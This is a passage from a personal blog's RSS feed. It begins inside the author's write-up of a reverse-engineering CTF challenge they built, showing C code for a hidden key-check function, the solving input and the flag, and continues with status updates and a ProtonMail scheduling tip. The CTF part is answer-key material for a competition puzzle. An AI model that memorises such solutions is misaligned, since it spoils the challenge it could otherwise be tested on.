&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">51&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">48&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">48&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">dest&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">malloc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">44&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strcpy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dest&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">strcat&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dest&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;IM4bcDAvcxdnkLmtM-388TiRI1XAgn7C6I=&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">dest&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span> &lt;span class="nf">lib&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s">&amp;#34;derive_key = lib.real_derive_key&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;derive_key.argtypes = [ctypes.c_char_p]&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;derive_key.restype = ctypes.c_char_p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;os.remove(&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s">/tmp/libreal.so&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s">)&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That &lt;code>lib()&lt;/code> function at the bottom is what actually reveals why the original password doesn&amp;rsquo;t work. The &lt;code>derive_key&lt;/code> function gets replaced with this &lt;code>real_derive_key&lt;/code> function in C. Figuring out the correct input here can be done with some brute forcing, math, or a SAT solver like &lt;a href="https://github.com/Z3Prover/z3">Z3&lt;/a>, revealing &lt;code>KAHQ7d1lb&lt;/code>&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> as the correct input and the flag:&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;pre tabindex="0">&lt;code> /\ /\
\ \_/ / The rabbit jumps out of the had, congratulating you for the correct
(&amp;#39;u&amp;#39;) code.
()~*~()
(_)-(_) Here&amp;#39;s your flag: CTF{D0n7_w3_4ll_l0v3_50M3_Cy7h0n_fUn}
&lt;/code>&lt;/pre>&lt;h2 id="reflection">Reflection&lt;/h2>
&lt;p>Ultimately, I think this challenge was &lt;em>decent&lt;/em> for my first one ever. It had many solutions allowing for some great creativity while still proving difficult enough that only a few people succeeded in completing it.&lt;/p>
&lt;p>The switch from Python 3.7 to 3.9 is something I&amp;rsquo;m not completely certain about though. The very first steps of the challenge weren&amp;rsquo;t originally meant to be the most difficult, but I ran out of time and knowledge to figure out a more creative way to hide the overwritten function. Letting contestants know that one had to use Python 3.9 to run the challenge was probably something I should have done because it would have made the experience smoother for everyone involved.&lt;/p>
&lt;p>However, despite the issues, I certainly learned a lot by making this challenge and hope to make some better problems in the future!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Decoding the base64 encoded strings in the file could also reveal the same prompt.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>I haven&amp;rsquo;t actually checked if other correct solutions for the real function exist, but those could be bruteforced anyways.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>The reference to &lt;a href="https://cython.org/">Cython&lt;/a> in the flag had to do with previous ideas I had for this challenge. I changed it locally but forgot to do so for the version sent to competitors, oh well.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Cats, Work, and Games - March Status Update</title><link>https://fluix.one/blog/status-update-2021-03/</link><pubDate>Mon, 29 Mar 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2021-03/</guid><description>&lt;p>With birds chirping, winds blowing, and music&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> playing, I once again realize it&amp;rsquo;s been quite a while since my last status update. Oh well, such is life sometimes. Over the last few months I&amp;rsquo;ve gotten to know some cool people, worked on a few projects, and played some truly great video games with friends.&lt;/p>
&lt;p>Starting off with the first noun in the title, I&amp;rsquo;ve been participating more on the &lt;a href="https://freenode.net/">Freenode IRC&lt;/a> server, specifically in &lt;code>#archlinux-offtopic&lt;/code> and &lt;code>#freenode&lt;/code>, where I&amp;rsquo;ve found some true cat lovers. These people aren&amp;rsquo;t just your average cat gif viewers, they know some special cats and all about them. Here&amp;rsquo;s the two most spoken about, the &lt;a href="https://en.wikipedia.org/wiki/Kodkod">kodkod&lt;/a> and the &lt;a href="https://en.wikipedia.org/wiki/Sand_cat">sand cat&lt;/a>:&lt;/p>
&lt;figure>&lt;img src="kodkod.jpg"
alt="A kodkod sitting to the right, facing the camera with bright green grass in the background."/>&lt;figcaption>
&lt;p>Image by Mauro Tammone, &lt;a href="https://creativecommons.org/licenses/by/3.0">CC BY 3.0&lt;/a>, via Wikimedia Commons&lt;/p>
&lt;/figcaption>
&lt;/figure>
&lt;figure>&lt;img src="sandcat.jpg"
alt="A sand cat walking to the left, facing the camera with dry shrubs and sand behind it."/>&lt;figcaption>
&lt;p>Image by Payman sazesh, &lt;a href="https://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0&lt;/a>, via Wikimedia Commons&lt;/p>
&lt;/figcaption>
&lt;/figure>
&lt;p>When it comes to programming work I&amp;rsquo;ve done, it&amp;rsquo;s been a mix between lots of web development in Python and Go, a native app from a tiny bit of C, and a mix of some other projects. Two months ago, I wrote a simple periodic table app called &lt;a href="https://git.sr.ht/~fluix/periodicus">periodicus&lt;/a>. It&amp;rsquo;s nothing fancy, just the periodic table with symbols, but hopefully that&amp;rsquo;ll change once I get to needing/using it again. This blog has also been automatically deployed since &lt;a href="https://git.sr.ht/~fluix/fluix.one/commit/9c842b9cf39dfb7af7a6c58f74bbc4c7cd625909">mid-January&lt;/a> through a &lt;a href="https://builds.sr.ht/">build.sr.ht&lt;/a> script. Not having to worry about it has been great.&lt;/p>
&lt;p>Some friends and I have also been participating in the 2021 PicoCTF challenge which has proven to be an excellent combination of difficulty and interesting challenges. There&amp;rsquo;s less than 24 hours to go, so expect some writeups soon!&lt;/p>
&lt;p>Finally, let&amp;rsquo;s talk about the last part of the title: Games. I&amp;rsquo;ve been playing video games like &lt;a href="https://www.minecraft.net">Minecraft&lt;/a> and &lt;a href="https://www.teamfortress.com/">Team Fortress 2&lt;/a> for a rather long time, but have recently gotten into &lt;a href="https://www.stardewvalley.net/">Stardew Valley&lt;/a> for the first time and &lt;a href="https://terraria.org/">Terraria&lt;/a> for the Nth time. In all honesty, Terraria is just a &lt;em>great&lt;/em> game that will have its 10th birthday in May. Repeated, massive, free content updates have come time and time again, enriching the game year after year. Unfortunately, it does seem that these updates will finally come to an end as release 1.4.1, &lt;a href="https://terraria.org/news/rounding-out-the-journey-terraria-1-4-1-is-here">Journey&amp;rsquo;s End&lt;/a>, landed in October of last year. Nonetheless, I&amp;rsquo;m currently having tons of fun in this little base of ours, just after defeating the &lt;a href="https://terraria.fandom.com/wiki/Wall_of_Flesh">Wall of Flesh&lt;/a> and thus entering &lt;a href="https://terraria.fandom.com/wiki/Hardmode">Hardmode&lt;/a>.&lt;/p>
&lt;p>&lt;img src="terraria.jpg" alt="Terraria base with a grid of rectangular rooms made of wood in a forest biome. NPCs live in various rooms with the central chest area in the center.">&lt;/p>
&lt;p>If you&amp;rsquo;re looking for a fun, single or multiplayer game about exploration, fighting, and a pinch of story, try it! Oh, and it works wonderfully on Linux with a server binary provided if you want to self-host.&lt;/p>
&lt;p>That&amp;rsquo;s it for this update, see ya soon!&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Some random assortment of &amp;ldquo;chill,&amp;rdquo; chiptune, and video game soundtracks — really just anything with minimal lyrics.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Scheduled Email Sending with ProtonMail</title><link>https://fluix.one/blog/scheduled-email-protonmail/</link><pubDate>Wed, 10 Feb 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/scheduled-email-protonmail/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">setTimeout&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kd">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="nx">$&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;button.mobileFull:nth-child(4)&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">click&lt;/span>&lt;span class="p">()},&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="nx">msec&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This will, in the &lt;code>v3.16.57&lt;/code> version (and maybe others) of the ProtonMail web client, automatically send the email being written in the &amp;ldquo;New Message&amp;rdquo; dialog in &lt;code>&amp;lt;msec&amp;gt;&lt;/code> milliseconds. Now on to&amp;hellip;&lt;/p>
&lt;h2 id="the-story">The Story&lt;/h2>
&lt;p>My own email story is quite a convoluted one, but one I think many tech, security, and privacy-oriented folks go through. I started off with one Gmail account, progressed to two, then made a &lt;a href="https://protonmail.com/">ProtonMail&lt;/a> account, and finally moved on to my own domain with &lt;a href="https://www.migadu.com/">Migadu&lt;/a> for the mail hosting.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> While I am in the process of deleting Google-everything, I don&amp;rsquo;t have plans on doing that for ProtonMail so I continue to use it; I like their services and occasionally use &lt;a href="https://protonvpn.com/">ProtonVPN&lt;/a>.&lt;/p>
&lt;p>During one late night (read: 5:00 AM), I began an email sync between an old and new provider for one of my clients. The rather large amount of emails meant that this transfer could take a while, so I wanted to schedule an email to be sent in the morning when I estimated the transfer to complete. Now here&amp;rsquo;s the thing about ProtonMail:&lt;/p>
&lt;ul>
&lt;li>It doesn&amp;rsquo;t normally support direct access through IMAP/SMTP&lt;/li>
&lt;li>The &lt;a href="https://protonmail.com/bridge/">ProtonMail Bridge&lt;/a> allows this accesss with a paid account; I have a free one&lt;/li>
&lt;li>&lt;a href="https://emersion.fr">Simon Ser&lt;/a> made a third-party, open-source ProtonMail bridge called &lt;a href="https://github.com/emersion/hydroxide">Hydroxide&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Combined with my own home-server situation of switching from Debian to &lt;a href="https://alpinelinux.org/about/">Alpine&lt;/a> but not yet setting up the Hydroxide bridge, I couldn&amp;rsquo;t use any of the other standard Unix tools like &lt;code>sendmail&lt;/code> combined with &lt;code>after&lt;/code>. So, I resorted to my little bit of Javascript knowledge combined with some grade 2 arithmetic and figured I could automate the clicking of the &amp;ldquo;Send&amp;rdquo; button on the &amp;ldquo;New Message&amp;rdquo; dialog to occur in the morning. All I used was the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">&lt;code>setTimeout&lt;/code>&lt;/a> function, alongside a bit of jQuery which was conveniently included in the web client.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>So there you have it, at least until ProtonMail &lt;a href="https://protonmail.uservoice.com/forums/284483-protonmail/suggestions/7158412-schedule-emails-in-advance">adds this feature&lt;/a> natively. Hopefully this illustrates the importance of thinking outside the &lt;del>mail&lt;/del>box and shows that the simplest solutions can be quite great for non-critical work.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>I could do it myself, but I&amp;rsquo;m happy to pay a little bit every year to not have to deal with maintenance, etc. Also, I save by hosting other emails with the same plan.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>This is totally possible without jQuery, as with technically &lt;em>anything&lt;/em> jQuery.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Happy New Year - December Status Update</title><link>https://fluix.one/blog/status-update-2020-12/</link><pubDate>Mon, 11 Jan 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2020-12/</guid><description>&lt;p>Happy new year — only 10 days late!&lt;/p>
&lt;p>Well, it&amp;rsquo;s a little over a week into the new year, about a week later than I planned on writing this post, and a few &lt;del>seconds&lt;/del> minutes since I&amp;rsquo;ve started writing. This status update is going to be rather short since I haven&amp;rsquo;t really done much over the holidays. In fact, I&amp;rsquo;ll just list out some things I plan on working on and check them off as I go. Can I do them all by the start of February?&lt;/p>
&lt;ul>
&lt;li>&lt;input checked="" disabled="" type="checkbox"> Get this site to automatically build with &lt;a href="https://builds.sr.ht">builds.sr.ht&lt;/a>. &lt;strong>&lt;a href="https://git.sr.ht/~fluix/fluix.one/commit/9c842b9cf39dfb7af7a6c58f74bbc4c7cd625909">Done&lt;/a>&lt;/strong>&lt;/li>
&lt;li>&lt;input checked="" disabled="" type="checkbox"> Write a simple periodic table native C app with (probably) &lt;a href="https://www.libsdl.org/">SDL&lt;/a>. &lt;strong>&lt;a href="https://sr.ht/~fluix/periodicus/">Started&lt;/a>&lt;/strong>&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Write some &lt;a href="https://prometheus.io/docs/visualization/consoles/">console templates&lt;/a> for my &lt;a href="https://prometheus.io/">Prometheus&lt;/a> logging setup&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Open-source a Golang web development project I&amp;rsquo;m working on&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Write a blog post about Github (repository) Stars and how I almost fell into a trap&lt;/li>
&lt;/ul>
&lt;p>And that&amp;rsquo;s all for now. Get your news from some reputable places, probably a &lt;a href="https://en.wikipedia.org/wiki/Newspaper_of_record">newspaper of record&lt;/a>, not off Twitter or social media, and stay safe while vaccines roll out in many parts of the world.&lt;/p></description></item><item><title>I've Moved! - November Status Update</title><link>https://fluix.one/blog/status-update-2020-11/</link><pubDate>Thu, 03 Dec 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2020-11/</guid><description>&lt;p>Hey! It&amp;rsquo;s the third of the month and the perfect time to write a status update for the last. The snow has fallen, the skies have darkened, and I&amp;rsquo;ve moved from &lt;a href="https://theavid.dev">theavid.dev&lt;/a> to &lt;a href="https://fluix.one">fluix.one&lt;/a>. To be honest, there&amp;rsquo;s only a small number of reasons for this:&lt;/p>
&lt;ol>
&lt;li>I didn&amp;rsquo;t really like the names TheAvidDev and &lt;a href="https://theavid.dev">theavid.dev&lt;/a>&lt;/li>
&lt;li>fluix and &lt;a href="https://fluix.one">fluix.one&lt;/a> are shorter&lt;/li>
&lt;li>See 1. and 2.&lt;/li>
&lt;/ol>
&lt;p>Overall, the new site contains the same information, albeit with styling changes and simplifications. There&amp;rsquo;s still a blog and a list of projects with a new miscellaneous page for random other information such as tools I&amp;rsquo;ve used, some recommendations, and more places to find me. An RSS feed is also still available for those that prefer it. From the technical side, I&amp;rsquo;ve switched to using &lt;a href="https://gohugo.io/">Hugo&lt;/a> and storing the posts in individual files, instead of in a database with &lt;a href="https://www.djangoproject.com/">Django&lt;/a>. I&amp;rsquo;ve also setup &lt;a href="https://nginx.org/">Nginx&lt;/a> to cache static resources and enabled HTTP 2.0 support.&lt;/p>
&lt;p>Alongside the name change, I&amp;rsquo;ve increased my involvement in a number of other, smaller online communities. Primarily, I setup an IRC bouncer, &lt;a href="https://sr.ht/~emersion/soju/">soju&lt;/a>, and joined #archlinux, #sr.ht, and #sway on &lt;a href="https://freenode.net/">Freenode&lt;/a>. After following &lt;a href="https://sourcehut.org">Sourcehut&lt;/a> for a while, I wrote some tiny &lt;a href="https://lists.sr.ht/~sircmpwn/sr.ht-dev/patches/14984">patches&lt;/a> to improve the experience for those of us without an account, then promptly made an &lt;a href="https://sr.ht/~fluix">account&lt;/a>. I&amp;rsquo;ve come to appreciate email, switching my error tracking to use it (as noted in my &lt;a href="https://fluix.one/blog/status-update-2020-10/">last post&lt;/a>) and joined a few &lt;a href="https://lists.archlinux.org/listinfo/">Arch Linux mailing lists&lt;/a>. Stay tuned for a public mailing list soon!&lt;/p>
&lt;p>Moving on to what I&amp;rsquo;ve been working on, it hasn&amp;rsquo;t really been much in terms of public projects. Locally, I&amp;rsquo;ve setup a &lt;a href="https://www.wireguard.com/">Wireguard&lt;/a> network between my various computers and remote hosts so I can host services remotely without having to expose them to the public or setup more specific firewall rules. I&amp;rsquo;ve also been writing documentation for my networking and service setup to improve organization. Switching from &lt;a href="https://bitwarden.com/">Bitwarden&lt;/a> to &lt;a href="https://www.passwordstore.org/">pass&lt;/a> has removed the need to host a bunch of services and allows me store everything in a git repository so doing that was nice too.&lt;/p>
&lt;p>Well, that&amp;rsquo;s about it. November&amp;rsquo;s been a busy month behind the scenes and not so much in public. Stay cozy and safe everyone, see you in January!&lt;/p></description></item><item><title>Sway Borders and Art - October Status Update</title><link>https://fluix.one/blog/status-update-2020-10/</link><pubDate>Thu, 05 Nov 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/status-update-2020-10/</guid><description>&lt;p>Hey! I&amp;rsquo;m writing this just after publishing my first package on the &lt;a href="https://aur.archlinux.org/">AUR&lt;/a>, &lt;a href="https://aur.archlinux.org/packages/sway-borders-git/">&lt;code>sway-borders-git&lt;/code>&lt;/a>. Over the past week, I&amp;rsquo;ve done some important work to improve sway-borders&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and get it ready for packaging. As promised in my &lt;a href="https://github.com/swaywm/sway/pull/5639">original PR&lt;/a> to upstream, different classes of border textures are &lt;a href="https://github.com/fluix-dev/sway-borders/commit/46f965ba843bd7d2b21e93ad1a4f2b1bf770c5ed">now supported&lt;/a> for different container states (&lt;code>focused&lt;/code>, &lt;code>focused_inactive&lt;/code>, &lt;code>unfocused&lt;/code>, &lt;code>urgent&lt;/code>). While cleaning up the rendering code, I&amp;rsquo;ve also fixed a long-standing &lt;a href="https://github.com/fluix-dev/sway-borders/issues/3">bug&lt;/a> with floating containers having only one border drawn. While certainly a little stressful, I&amp;rsquo;m happy to contribute to the AUR and hope to continue doing so in the future. Go try it out:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">git clone https://aur.archlinux.org/sway-borders-git.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">makepkg -si
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sway
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Continuing with a little more Sway, I&amp;rsquo;ve gotten my graphics tablet working and decided to try my hand at a little bit of digital art. Here are my attempts at some crystals which I drew with the help of a few tutorials.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;img src="crystal1.png" alt="Dark blue and slightly purple angled crystal with black patches and white highlights">&lt;/p>
&lt;p>My first attempt, which got inadvertently mirrored.
&lt;img src="crystal2.png" alt="Purple angled crystal with thick edges, larger black patches, fewer white highlights, and some black dots on the outside">&lt;/p>
&lt;p>A much better second attempt, great for a profile picture.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;img src="crystal3.png" alt="Collection of five longer blue crystals and six smaller, circular blue crystals, all with lighter black patches, white highlights, and a blue background glow">
I think I overdid it with the white highlights, but otherwise it&amp;rsquo;s quite nice.&lt;/p>
&lt;p>Moving on, I&amp;rsquo;ve thought quite a bit about what place Snitch (and, by relation, Sentry) has in my planned logging infrastructure and what direction I want to take it in. Initially, as I stated in my original post,&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> I wanted it to be a centralized place for all my errors. However, this has some flaws:&lt;/p>
&lt;ol>
&lt;li>It&amp;rsquo;s too much: I&amp;rsquo;m an individual, not a large, or even small, team&lt;/li>
&lt;li>My email inbox is a great centralized place for alerts&lt;/li>
&lt;li>&lt;a href="https://www.djangoproject.com/">Django&lt;/a>, the web framework I&amp;rsquo;ve used for most of my running projects, natively &lt;a href="https://docs.djangoproject.com/en/3.1/howto/error-reporting/#email-reports">supports&lt;/a> email alerting for errors&lt;/li>
&lt;/ol>
&lt;p>Alright, a little disheartening, but the solution seems super easy, just switch to emails! Well&amp;hellip;&lt;/p>
&lt;ol>
&lt;li>If many errors occur, I&amp;rsquo;ll get spammed: not the greatest&lt;/li>
&lt;li>Two places of configuration: &lt;a href="https://github.com/prometheus/alertmanager">Alertmanager&lt;/a>&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> &amp;amp; Django&lt;/li>
&lt;li>Some extra processing on errors to add more context or other helpful information is something I&amp;rsquo;m interested in&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Temporarily ignoring and grouping the same kinds of errors is also quite handy&lt;/li>
&lt;/ol>
&lt;p>Now some of these are definitely a stretch, I don&amp;rsquo;t &lt;em>need&lt;/em> extra processing or grouping. The first point is really the only hard requirement I have, and it could be quickly solved with a custom logging handler. However, there&amp;rsquo;s another tool that I&amp;rsquo;m already going to be using which handles everything I need: &lt;a href="https://www.prometheus.io/docs/alerting/latest/alertmanager/">Prometheus&amp;rsquo;s Alertmanager&lt;/a>. It takes alerts, groups them, inhibits them, and sends them through whatever communication channel is configured. That only leaves #3, alongside the connection between my application and Alertmanager.&lt;/p>
&lt;p>And so, the new direction that *Py-*Snitch takes will be to add meaningful context to Python exceptions and pass them on to Alertmanager&amp;rsquo;s HTTP API. Eventually, I plan on doing this with other languages I use, and I think that a centralized service that sits between the integration and Alertmanager &lt;em>might&lt;/em> eventually prove useful (read: won&amp;rsquo;t happen), for example to combine errors from multiple applications, so I&amp;rsquo;ll leave the name Snitch open for that.&lt;/p>
&lt;p>That&amp;rsquo;s it for this month, see you next time :D&lt;/p>
&lt;p>                &amp;hellip;..well this blog post turned out to be a bit longer than I thought it would, back to coding-&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://github.com/theaviddev/sway-borders">My fork&lt;/a> of &lt;a href="https://github.com/swaywm/sway">Sway&lt;/a> which adds custom borders.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://www.deviantart.com/pikishi/art/Crystals-Progress-Tutorial-202585015">https://www.deviantart.com/pikishi/art/Crystals-Progress-Tutorial-202585015&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.youtube.com/watch?v=2MXLbEHmZO8">https://www.youtube.com/watch?v=2MXLbEHmZO8&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;em>wink wink, nudge nudge&lt;/em> - please don&amp;rsquo;t use it yourself though.&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>Third paragraph of &lt;a href="https://theavid.dev/status-update-2020-09">https://theavid.dev/status-update-2020-09&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>I will be using Alertmanager to notify me of important changes detected through Prometheus metrics.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
